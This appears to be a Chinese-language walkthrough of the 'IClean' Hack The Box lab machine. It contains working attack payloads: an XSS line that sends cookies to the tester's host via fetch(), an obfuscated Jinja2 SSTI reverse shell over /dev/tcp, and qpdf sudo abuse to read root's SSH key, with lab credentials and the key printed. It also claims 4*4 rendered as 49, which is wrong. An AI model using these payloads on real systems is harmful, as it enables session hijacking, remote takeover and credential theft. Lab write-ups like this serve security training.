1 信息收集
NMAP端口扫描
80端口测试
echo "10.10.11.12 capiclean.htb" | sudo tee -a /etc/hosts
检查页面功能,除了 login 页面无其他可能利用点,可以尝试进行目录爆破和子域名扫描
目录扫描
./gobuster dir -u http://capiclean.htb/ -w directory-list-2.3-small.txt
目录爆破发现如上接口,在 http://capiclean.htb/quote
,可以输入邮箱地址,能够进行用户输入的位置,那可以进行注入等漏洞探测
2 漏洞测试
XSS漏洞
勾选服务,输入邮件地址抓包进行观察,勾选服务之后,会通过邮件通知所选择的服务,service 参数的内容可以被邮件响应,那就可以测试 service 参数处是否存在 XSS 漏洞,以此获取 cookie
本地开启 http.server 服务,发送如下 payload,本地服务器成功获取到响应,payload 执行成功
<img+src%3d"http%3a//10.10.14.171%3a8081"%3b>
写入XSS 脚本获取 cookie,URL 编码后请求,成功获取到 cookie
<img src=x onerror=fetch("http://10.10.14.171:8081/"+document.cookie);>
SSTI 漏洞
替换 cookie 访问网站,在 /dashboard 下,Flask 的 Jinja 模板库在后台渲染模板,易导致 SSTI 漏洞
SSTI 漏洞攻击流程
:
1.Generating Invoice,生成Invoice id Generator,添加到Generate QR,生成一个发票链接,
2.在请求发票链接时,抓包对 qr_link
参数进行注入,输入漏洞 paylaod {{4*4}}
,成功响应 4*4 的乘积 49,存在 SSTI 漏洞
3.漏洞利用
利用 SSTI 漏洞反弹 shell,对 payload 进行 URL 编码,成功获取到 www-data 权限
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("bash -c '/bin/bash -i >& /dev/tcp/10.10.14.171/4444 0>&1'")|attr("read")()}}
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty raw -echo; fg
3 横向移动
检查当前用户权限下文件,在/opt/app 路径下发现 app.py 文件存在 mysql 数据库配置文件
,成功获取到数据库账号密码:
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
mysql -u iclean -p
select * from capiclean.users;
检查 capiclean 数据库 users 表,发现用户 amdin,consuela 及密码 hash
破解hash 密码,consuela 用户的密码为:simple and clean
ssh 连接,成功获得 consuela 用户权限
4 权限提升
# 检查当前用户拥有的权限
sudo -l
所有用户都可以执行 /usr/bin/qpdf
:
点击查看qpdf 工具文档
--add-attachment 指定想要复制其内容的文件
--empty 指定想要粘贴此内容的文件
和 cp 命令类似
获取 root 用户的 ssh 私钥并将其写入名为 id_rsa 的文件中,然后通过 root 用户的私钥进行 ssh 登录,成功获取到 root 权限
sudo /usr/bin/qpdf --qdf --add-attachment /root/.ssh/id_rsa -- --empty ./id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----
chmod 600 id_rsa
ssh -i id_rsa root@10.10.11.12